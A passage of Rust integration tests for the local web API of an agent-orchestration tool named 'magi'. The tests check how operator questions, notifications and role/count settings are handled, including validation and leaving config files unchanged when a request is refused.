11298 Some(r#"{"text":"hello"}"#),
11299 )
11300 .await;
11301 assert_eq!(res.status, 200, "{}", res.body);
11302 assert_eq!(
11303 store.get(&id).unwrap().resolution().as_deref(),
11304 Some("hello")
11305 );
11306 }
11307
11308 #[tokio::test]
11309 async fn saying_something_appends_a_turn_without_answering() {
11310 let fx = Fixture::start().await;
11311 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11312 fx.questions().beat(&id, ask::WaiterKind::Asker);
11313 let path = format!("/api/questions/{id}/say");
11314
11315 let res = fx
11316 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11317 .await;
11318 assert_eq!(res.status, 200, "{}", res.body);
11319 let body = res.json();
11320 assert_eq!(body["status"], "open", "talking back is not a decision");
11321 assert_eq!(body["answer"], Value::Null);
11322 assert_eq!(body["thread"][0]["who"], "operator");
11323 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11324 assert_eq!(body["waiting_on_agent"], true);
11325 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11327 }
11328
11329 #[tokio::test]
11330 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11331 let fx = Fixture::start().await;
11332 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11333
11334 let list = fx.get("/api/questions").await.json();
11335 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11336
11337 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11338 assert_eq!(res.status, 409, "{}", res.body);
11339 let q = fx.questions().get(&id).unwrap();
11340 assert!(q.status.open());
11341 assert!(q.consult.is_none());
11342 }
11343
11344 #[tokio::test]
11345 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11346 let fx = Fixture::start().await;
11347 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11348 let cfg = Config {
11349 agents: vec![crate::config::AgentSpec {
11350 id: "mock".to_owned(),
11351 kind: crate::config::AgentKind::Command,
11352 model: None,
11353 command: vec!["true".to_owned()],
11354 extra_args: Vec::new(),
11355 env: Default::default(),
11356 prompt_delivery: None,
11357 }],
11358 ..Config::default()
11359 };
11360 let talk = crate::talk::begin(
11361 &fx.talks(),
11362 &cfg,
11363 fx.home.path().to_path_buf(),
11364 Some("mock"),
11365 )
11366 .unwrap();
11367 let mut task = Task::new(
11368 "t".to_owned(),
11369 "Do it".to_owned(),
11370 PathBuf::from("/repo/magi"),
11371 Source::Agent {
11372 run: talk.id.clone(),
11373 node: crate::queue::CHAT_NODE.to_owned(),
11374 },
11375 );
11376 task.start("20260902-000000-beef".to_owned());
11377 fx.queue().put(&mut task).unwrap();
11378
11379 let list = fx.get("/api/questions").await.json();
11380 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11381 assert_eq!(
11382 list[0]["choices"],
11383 serde_json::json!(["SQLite", "Redis"]),
11384 "the hand-over is never a choice"
11385 );
11386 fx.questions()
11387 .update(&id, |q| {
11388 q.node = crate::land::APPROVAL_NODE.into();
11389 q.choices = vec!["merge".into(), "hold".into()];
11390 Ok(())
11391 })
11392 .unwrap();
11393 let list = fx.get("/api/questions").await.json();
11394 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11395 assert_eq!(list[0]["can_consult_chat"], true);
11396 fx.questions()
11397 .update(&id, |q| {
11398 q.node = crate::bump::NOTICE_NODE.into();
11399 Ok(())
11400 })
11401 .unwrap();
11402 let list = fx.get("/api/questions").await.json();
11403 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11404 assert_eq!(list[0]["can_consult_chat"], false);
11405 }
11406
11407 #[tokio::test]
11408 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11409 let fx = Fixture::start().await;
11410 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11411 fx.questions()
11412 .update(&id, |q| {
11413 q.node = crate::land::APPROVAL_NODE.into();
11414 q.choices = vec!["merge".into(), "hold".into()];
11415 Ok(())
11416 })
11417 .unwrap();
11418 let cfg = Config {
11419 agents: vec![crate::config::AgentSpec {
11420 id: "mock".to_owned(),
11421 kind: crate::config::AgentKind::Command,
11422 model: None,
11423 command: vec!["true".to_owned()],
11424 extra_args: Vec::new(),
11425 env: Default::default(),
11426 prompt_delivery: None,
11427 }],
11428 ..Config::default()
11429 };
11430 let repo = fx.home.path().join("chat-repo");
11432 std::fs::create_dir_all(&repo).unwrap();
11433 let toml = repo.join("magi.toml");
11434 std::fs::write(&toml, "this is = = not toml").unwrap();
11435 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11436 let mut task = Task::new(
11437 "t".to_owned(),
11438 "Do it".to_owned(),
11439 PathBuf::from("/repo/magi"),
11440 Source::Agent {
11441 run: talk.id.clone(),
11442 node: crate::queue::CHAT_NODE.to_owned(),
11443 },
11444 );
11445 task.start("20260902-000000-beef".to_owned());
11446 fx.queue().put(&mut task).unwrap();
11447
11448 let path = format!("/api/questions/{id}/consult");
11449 let res = fx.post(&path, None).await;
11450 assert!(res.status >= 400, "{}", res.body);
11451 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11452 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11453
11454 std::fs::write(&toml, "").unwrap();
11455 let res = fx.post(&path, None).await;
11456 assert_eq!(res.status, 202, "{}", res.body);
11457 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11458 let q = fx.questions().get(&id).unwrap();
11459 assert!(q.status.open());
11460 assert!(q.answer.is_none());
11461 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11462 assert_eq!(res.json()["can_consult_chat"], true);
11463 let list = fx.get("/api/questions").await.json();
11464 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11465 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11466
11467 let res = fx
11468 .post(
11469 &format!("/api/questions/{id}/answer"),
11470 Some(r#"{"choice":"hold"}"#),
11471 )
11472 .await;
11473 assert_eq!(res.status, 200, "{}", res.body);
11474 assert_eq!(res.json()["answer"]["choice"], "hold");
11475 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11476 assert_eq!(res.json()["can_consult_chat"], false);
11477 assert_eq!(fx.post(&path, None).await.status, 409);
11478
11479 let mut talk = fx.talks().get(&talk.id).unwrap();
11480 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11481 let list = fx.get("/api/questions").await.json();
11482 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11483 assert_eq!(list[0]["origin_chat_closed"], true);
11484 assert_eq!(list[0]["can_consult_chat"], false);
11485
11486 fx.talks().remove(&talk.id).unwrap();
11487 let list = fx.get("/api/questions").await.json();
11488 assert_eq!(list[0]["origin_chat"], Value::Null);
11489 assert_eq!(list[0]["origin_chat_closed"], false);
11490 assert_eq!(list[0]["can_consult_chat"], false);
11491 }
11492
11493 #[tokio::test]
11494 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11495 let fx = Fixture::start().await;
11496 let store = fx.questions();
11497 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11498 store.beat(&id, ask::WaiterKind::Asker);
11499 assert_eq!(
11500 fx.get("/api/health").await.json()["questions_needs_owner"],
11501 1
11502 );
11503
11504 let res = fx
11510 .post(
11511 &format!("/api/questions/{id}/say"),
11512 Some(r#"{"body":"why not Postgres?"}"#),
11513 )
11514 .await;
11515 assert_eq!(res.status, 200, "{}", res.body);
11516 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11517 assert_eq!(
11518 fx.get("/api/health").await.json()["questions_needs_owner"],
11519 0,
11520 "waiting on the agent is not waiting on the owner"
11521 );
11522
11523 let mut q = store.get(&id).expect("get");
11527 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11528 .expect("reply");
11529 store.put(&mut q).expect("put");
11530 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11531 assert_eq!(
11532 fx.get("/api/health").await.json()["questions_needs_owner"],
11533 1,
11534 "the agent's reply is what should light the banner back up"
11535 );
11536 }
11537
11538 #[tokio::test]
11539 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11540 let fx = Fixture::start().await;
11541 let store = fx.questions();
11542
11543 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11544 let res = fx
11545 .post(
11546 &format!("/api/questions/{empty_id}/say"),
11547 Some(r#"{"body":" "}"#),
11548 )
11549 .await;
11550 assert_eq!(res.status, 400, "{}", res.body);
11551
11552 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11553 let mut answered = store.get(&answered_id).expect("get");
11554 answered
11555 .answer(Answer::Choice("SQLite".to_owned()))
11556 .expect("answer");
11557 store.put(&mut answered).expect("put");
11558 let res = fx
11559 .post(
11560 &format!("/api/questions/{answered_id}/say"),
11561 Some(r#"{"body":"still there?"}"#),
11562 )
11563 .await;
11564 assert_eq!(res.status, 409, "{}", res.body);
11565
11566 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11567 let mut abandoned = store.get(&abandoned_id).expect("get");
11568 abandoned.abandon("timed out");
11569 store.put(&mut abandoned).expect("put");
11570 let res = fx
11571 .post(
11572 &format!("/api/questions/{abandoned_id}/say"),
11573 Some(r#"{"body":"still there?"}"#),
11574 )
11575 .await;
11576 assert_eq!(res.status, 409, "{}", res.body);
11577 }
11578
11579 #[tokio::test]
11580 async fn an_answer_the_question_does_not_offer_is_refused() {
11581 let fx = Fixture::start().await;
11582 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11583 let path = format!("/api/questions/{id}/answer");
11584
11585 for body in [
11586 r#"{"choice":"Postgres"}"#,
11587 r#"{"text":"whatever you think"}"#,
11588 r#"{"choice":"Redis","text":"both"}"#,
11589 r#"{}"#,
11590 ] {
11591 let res = fx.post(&path, Some(body)).await;
11592 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11593 assert!(res.json()["error"].is_string(), "{}", res.body);
11594 }
11595 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11597 }
11598
11599 #[tokio::test]
11600 async fn a_free_text_question_takes_text_and_not_a_choice() {
11601 let fx = Fixture::start().await;
11602 let id = ask(&fx, "What should the flag be called?", &[]);
11603 fx.questions().beat(&id, ask::WaiterKind::Asker);
11604 let path = format!("/api/questions/{id}/answer");
11605
11606 assert_eq!(
11607 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11608 400
11609 );
11610 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11611 assert_eq!(res.status, 200, "{}", res.body);
11612 assert_eq!(res.json()["answer"]["text"], "--json");
11613 }
11614
11615 #[tokio::test]
11616 async fn an_unknown_question_is_a_json_404() {
11617 let fx = Fixture::start().await;
11618 let res = fx
11619 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11620 .await;
11621 assert_eq!(res.status, 404, "{}", res.body);
11622 assert!(res.json()["error"].is_string());
11623 }
11624
11625 #[tokio::test]
11626 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11627 let fx = Fixture::start().await;
11628 let questions = Questions::at(fx.home.path().join("questions"));
11629 let store = Notices::at(fx.home.path().join("notifications"));
11630 let mut q = ask::Question::new(
11631 "t1".into(),
11632 "conduct".into(),
11633 "conductor".into(),
11634 "Continue?".into(),
11635 String::new(),
11636 Vec::new(),
11637 );
11638 questions.put(&mut q).unwrap();
11639 let mut n = Notice::warn("task:t1", "Task t1 is held.");
11640 n.covered_by = Some(q.id.clone());
11641 let n = store.raise(n).unwrap();
11642 let listed = fx.get("/api/notifications").await.json();
11643 assert_eq!(listed["items"][0]["answerable_question"], q.id);
11644 questions
11645 .update(&q.id, |q| {
11646 q.abandon("run gone");
11647 Ok(())
11648 })
11649 .unwrap();
11650 let listed = fx.get("/api/notifications").await.json();
11651 assert!(listed["items"][0]["answerable_question"].is_null());
11652 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11653 assert!(
11654 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11655 .unwrap()
11656 .contains("answerable_question")
11657 );
11658 }
11659
11660 #[tokio::test]
11661 async fn notifications_list_read_dismiss_and_health_agree() {
11662 let fx = Fixture::start().await;
11663 let store = Notices::at(fx.home.path().join("notifications"));
11664 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11665 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11666
11667 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11668 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11669
11670 store
11671 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11672 .unwrap();
11673 let health = fx.get("/api/health").await.json();
11674 assert_eq!(health["notifications_unread"], 2);
11675 assert_ne!(
11676 health["notifications_rev"], rev0,
11677 "the badge must move live"
11678 );
11679
11680 let listed = fx.get("/api/notifications").await.json();
11681 assert_eq!(listed["unread"], 2);
11682 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11683 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11684
11685 let read = fx
11686 .post(&format!("/api/notifications/{}/read", a.id), None)
11687 .await;
11688 assert_eq!(read.status, 200, "{}", read.body);
11689 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11690
11691 let gone = fx
11692 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11693 .await;
11694 assert_eq!(gone.status, 200, "{}", gone.body);
11695 let listed = fx.get("/api/notifications").await.json();
11696 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11697 assert_eq!(listed["unread"], 0);
11698
11699 store.raise(Notice::info("x", "again")).unwrap();
11700 let all = fx.post("/api/notifications/read-all", None).await;
11701 assert_eq!(all.status, 200, "{}", all.body);
11702 assert_eq!(all.json()["marked"], 1);
11703 assert_eq!(
11704 fx.get("/api/health").await.json()["notifications_unread"],
11705 0
11706 );
11707
11708 let missing = fx.post("/api/notifications/nope/read", None).await;
11709 assert_eq!(missing.status, 404, "{}", missing.body);
11710 assert!(missing.json()["error"].is_string());
11711 }
11712
11713 #[tokio::test]
11720 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11721 let f = Fixture::start().await;
11722
11723 let res = f
11724 .post(
11725 "/api/queue",
11726 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11727 )
11728 .await;
11729
11730 assert_eq!(
11731 res.status, 405,
11732 "POST /api/queue must not be a route: {}",
11733 res.body
11734 );
11735 assert!(
11736 f.queue().list().is_empty(),
11737 "a task filed by a route that does not exist must not reach the disk"
11738 );
11739 assert_eq!(f.get("/api/queue").await.status, 200);
11742 }
11743
11744 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11746 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11747 .expect("checkout dir");
11748 }
11749
11750 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11752
11753 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11754 let tmp = TempDir::new().expect("tempdir");
11755 let repo = tmp.path().join("repo");
11756 std::fs::create_dir_all(&repo).expect("repo dir");
11757 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11758 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11759 if let Some(text) = machine_toml {
11760 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11761 std::fs::write(&machine, text).expect("machine toml");
11762 }
11763 (tmp, repo, machine)
11764 }
11765
11766 async fn settings_checkout(path: &FsPath, text: &str) {
11767 std::fs::create_dir_all(path).unwrap();
11768 std::fs::write(path.join("magi.toml"), text).unwrap();
11769 for args in [
11770 vec!["init", "-b", "main"],
11771 vec!["add", "magi.toml"],
11772 vec![
11773 "-c",
11774 "user.name=Test",
11775 "-c",
11776 "user.email=test@example.invalid",
11777 "commit",
11778 "-m",
11779 "fixture",
11780 ],
11781 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11782 vec![
11783 "symbolic-ref",
11784 "refs/remotes/origin/HEAD",
11785 "refs/remotes/origin/main",
11786 ],
11787 ] {
11788 crate::git::git(path, &args).await.unwrap();
11789 }
11790 }
11791
11792 #[tokio::test]
11793 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11794 let (tmp, repo, machine) =
11795 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11796 let root = tmp.path().join("roots");
11797 let selected = root.join("host/owner/selected");
11798 settings_checkout(
11799 &selected,
11800 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11801 )
11802 .await;
11803 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11804 let before = std::fs::read(&machine).unwrap();
11805 let ui = Arc::new(
11806 Ui::new(
11807 Queue::at(tmp.path().join("queue")),
11808 Questions::at(tmp.path().join("questions")),
11809 Talks::at(tmp.path().join("talks")),
11810 tmp.path().join("runs"),
11811 tmp.path().to_path_buf(),
11812 repo.clone(),
11813 )
11814 .with_machine_config(Some(machine.clone())),
11815 );
11816 let query = || {
11817 Query(SettingsQuery {
11818 repo: Some(selected.clone()),
11819 })
11820 };
11821 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11822 assert!(v.error.is_none(), "{:?}", v.error);
11823 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11824 assert_eq!(conductor.source, "repo");
11825 assert_eq!(
11826 conductor.machine_value,
11827 Some(toml::Value::String("a".into()))
11828 );
11829 assert!(!conductor.editable);
11830 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11831 assert_eq!(
11832 judges.count.as_ref().unwrap().machine_value,
11833 Some(toml::Value::Integer(1))
11834 );
11835 assert!(
11836 !v.roles
11837 .iter()
11838 .find(|r| r.key == "reviewers")
11839 .unwrap()
11840 .editable
11841 );
11842 let unknown = || {
11843 Query(SettingsQuery {
11844 repo: Some(tmp.path().to_path_buf()),
11845 })
11846 };
11847 assert_eq!(
11848 settings_get(State(ui.clone()), unknown())
11849 .await
11850 .unwrap_err()
11851 .status,
11852 StatusCode::UNPROCESSABLE_ENTITY
11853 );
11854 let body = || {
11855 Ok(Json(RolesBody {
11856 revision: v.revision.clone(),
11857 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11858 counts: Default::default(),
11859 }))
11860 };
11861 assert_eq!(
11862 settings_put_roles(State(ui.clone()), unknown(), body())
11863 .await
11864 .unwrap_err()
11865 .status,
11866 StatusCode::UNPROCESSABLE_ENTITY
11867 );
11868 assert_eq!(std::fs::read(&machine).unwrap(), before);
11869 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11870 .await
11871 .unwrap();
11872 assert_eq!(
11873 saved.repo,
11874 selected.canonicalize().unwrap().display().to_string()
11875 );
11876 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11877 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11878 let fresh = root.join("host/owner/fresh");
11880 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11881 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11882 .await
11883 .unwrap();
11884 assert_eq!(fresh_view.repositories.len(), 3);
11885 }
11886
11887 #[tokio::test]
11888 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11889 let (tmp, repo, machine) = settings_dirs(
11890 "[roles]\nreviewers = [\"a\"]\n",
11891 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11892 );
11893 let root = tmp.path().join("roots");
11894 let selected = root.join("host/owner/selected");
11895 settings_checkout(
11896 &selected,
11897 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11898 )
11899 .await;
11900 let broken = root.join("host/owner/broken");
11901 settings_checkout(&broken, "[roles\nbroken").await;
11902 let machine_text = format!(
11903 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11904 toml::Value::String(root.display().to_string())
11905 );
11906 std::fs::write(&machine, &machine_text).unwrap();
11907 let originals: Vec<_> = [&repo, &selected, &broken]
11908 .iter()
11909 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11910 .collect();
11911 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11912 let default = f.get("/api/settings").await.json();
11913 assert_eq!(
11914 default["repo"],
11915 repo.canonicalize().unwrap().display().to_string()
11916 );
11917 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11918 let query = format!("?repo={}", selected.display());
11919 let res = f.get(&format!("/api/settings{query}")).await;
11920 assert_eq!(res.status, 200, "{}", res.body);
11921 let v = res.json();
11922 assert!(v["error"].is_null(), "{v}");
11923 assert_eq!(v["repositories"], default["repositories"]);
11924 let role = |key: &str| {
11925 v["roles"]
11926 .as_array()
11927 .unwrap()
11928 .iter()
11929 .find(|r| r["key"] == key)
11930 .unwrap()
11931 };
11932 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11933 assert_eq!(role("advisors")["source"], "repo");
11934 assert_eq!(role("advisors")["editable"], false);
11935 assert!(role("advisors")["machine_value"].is_null());
11936 assert_eq!(role("judges")["count"]["value"], 2);
11937 assert_eq!(role("judges")["count"]["machine_value"], 1);
11938 assert_eq!(role("judges")["count"]["source"], "repo");
11939 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11940 assert!(
11941 source.contains("origin/main") && !source.contains("magi/config/"),
11942 "{source}"
11943 );
11944 assert_eq!(
11945 role("reviewers")["editable"],
11946 false,
11947 "default context outside roots must protect its declarations"
11948 );
11949 let body =
11950 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11951 let unknown = format!("?repo={}", tmp.path().display());
11952 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11953 assert_eq!(
11954 f.put(&format!("/api/settings/roles{unknown}"), &body)
11955 .await
11956 .status,
11957 422
11958 );
11959 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11960 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11961 .to_string();
11962 assert_eq!(
11963 f.put(&format!("/api/settings/roles{query}"), &refuse)
11964 .await
11965 .status,
11966 422
11967 );
11968 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11969 assert_eq!(saved.status, 200, "{}", saved.body);
11970 assert_eq!(saved.json()["repo"], v["repo"]);
11971 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11972 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11973 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11974 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11975 }
11976 let error = f
11977 .get(&format!("/api/settings?repo={}", broken.display()))
11978 .await;
11979 assert_eq!(error.status, 200);
11980 assert!(error.json()["error"]["message"].is_string());
11981 assert_eq!(error.json()["repositories"], default["repositories"]);
11982 }
11983
11984 #[tokio::test]
11985 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11986 let (_tmp, repo, machine) =
11987 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11988 let f = Fixture::with_repo_and_machine(repo, machine).await;
11989 let res = f.get("/api/settings").await;
11990 assert_eq!(res.status, 200, "{}", res.body);
11991 let v = res.json();
11992 assert!(v["error"].is_null(), "{v}");
11993 let role = |k: &str| {
11994 v["roles"]
11995 .as_array()
11996 .and_then(|r| r.iter().find(|x| x["key"] == k))
11997 .cloned()
11998 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11999 };
12000 assert_eq!(role("judges")["source"], "machine");
12001 assert_eq!(role("judges")["editable"], true);
12002 assert_eq!(role("implementers")["source"], "default");
12003 let adv = role("advisors");
12004 assert_eq!(adv["fallback"], "judges");
12005 assert!(
12006 adv["seats"]
12007 .as_array()
12008 .is_some_and(|s| s.iter().all(|x| x == "b")),
12009 "{adv}"
12010 );
12011 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12012 assert_eq!(v["agents"][0]["source"], "repo");
12013 }
12014
12015 #[tokio::test]
12016 async fn settings_get_reports_a_config_that_does_not_parse() {
12017 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12018 let f = Fixture::with_repo_and_machine(repo, machine).await;
12019 let res = f.get("/api/settings").await;
12020 assert_eq!(res.status, 200, "{}", res.body);
12021 let v = res.json();
12022 assert!(v["error"]["message"].is_string(), "{v}");
12023 assert!(
12024 v["error"]["path"]
12025 .as_str()
12026 .is_some_and(|p| p.ends_with("magi.toml")),
12027 "{v}"
12028 );
12029 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12030 }
12031
12032 #[tokio::test]
12033 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12034 let (_tmp, repo, machine) = settings_dirs(
12035 SETTINGS_AGENTS,
12036 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12037 );
12038 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12039 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12040 let rev = f.get("/api/settings").await.json()["revision"]
12041 .as_str()
12042 .expect("revision")
12043 .to_owned();
12044 let body = serde_json::json!({
12045 "revision": rev,
12046 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12047 })
12048 .to_string();
12049 let res = f.put("/api/settings/roles", &body).await;
12050 assert_eq!(res.status, 200, "{}", res.body);
12051 let text = std::fs::read_to_string(&machine).expect("machine");
12052 assert_eq!(
12053 text,
12054 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12055 );
12056 assert_eq!(
12057 std::fs::read(repo.join("magi.toml")).expect("read"),
12058 repo_before
12059 );
12060 let again = f.get("/api/settings").await.json();
12061 let judges = again["roles"]
12062 .as_array()
12063 .expect("roles")
12064 .iter()
12065 .find(|r| r["key"] == "judges")
12066 .expect("judges")
12067 .clone();
12068 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12069 let stale = f.put("/api/settings/roles", &body).await;
12071 assert_eq!(stale.status, 409, "{}", stale.body);
12072 }
12073
12074 #[tokio::test]
12075 async fn settings_counts_are_reported_and_saved() {
12076 let (_tmp, repo, machine) = settings_dirs(
12077 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12078 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12079 );
12080 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12081 let v = f.get("/api/settings").await.json();
12082 let count = |v: &serde_json::Value, k: &str| {
12083 v["roles"]
12084 .as_array()
12085 .and_then(|r| r.iter().find(|x| x["key"] == k))
12086 .map(|x| x["count"].clone())
12087 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12088 };
12089 let imp = count(&v, "implementers");
12090 assert_eq!(imp["value"], 2);
12091 assert_eq!(imp["source"], "machine");
12092 assert_eq!(imp["file_key"], "candidates");
12093 assert_eq!(imp["roster_len"], 2);
12094 assert_eq!(imp["backups"], 0);
12095 assert_eq!(count(&v, "judges")["source"], "default");
12096 assert_eq!(count(&v, "advisors")["min"], 0);
12097 assert_eq!(count(&v, "reviewers")["editable"], false);
12098 assert!(
12099 count(&v, "reviewers")["locked_reason"]
12100 .as_str()
12101 .is_some_and(|m| m.contains("graph.reviewers"))
12102 );
12103 assert!(count(&v, "fixer").is_null());
12104 let rev = v["revision"].as_str().expect("revision").to_owned();
12105 let body = serde_json::json!({
12106 "revision": rev,
12107 "roles": { "judges": ["b"] },
12108 "counts": { "implementers": 1, "advisors": 0 }
12109 })
12110 .to_string();
12111 let res = f.put("/api/settings/roles", &body).await;
12112 assert_eq!(res.status, 200, "{}", res.body);
12113 let text = std::fs::read_to_string(&machine).expect("machine");
12114 assert_eq!(
12115 text,
12116 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12117 );
12118 let after = f.get("/api/settings").await.json();
12119 assert_eq!(count(&after, "implementers")["value"], 1);
12120 assert_eq!(count(&after, "implementers")["backups"], 1);
12121 assert_eq!(count(&after, "advisors")["value"], 0);
12122 let before = std::fs::read_to_string(&machine).expect("machine");
12123 let rev = after["revision"].as_str().expect("revision").to_owned();
12124 for counts in [
12125 serde_json::json!({ "judges": 0 }),
12126 serde_json::json!({ "judges": "x" }),
12127 serde_json::json!({ "judges": 2.5 }),
12128 serde_json::json!({ "judges": -1 }),
12129 serde_json::json!({ "reviewers": 3 }),
12130 serde_json::json!({ "bogus": 3 }),
12131 ] {
12132 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12133 let res = f.put("/api/settings/roles", &body).await;
12134 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12135 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12136 }
12137 }
12138
12139 #[tokio::test]
12140 async fn settings_put_refuses_without_touching_the_file() {
12141 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12142 let (_tmp, repo, machine) = settings_dirs(
12143 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12144 Some(machine_text),
12145 );
12146 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12147 let rev = f.get("/api/settings").await.json()["revision"]
12148 .as_str()
12149 .expect("revision")
12150 .to_owned();
12151 for roles in [
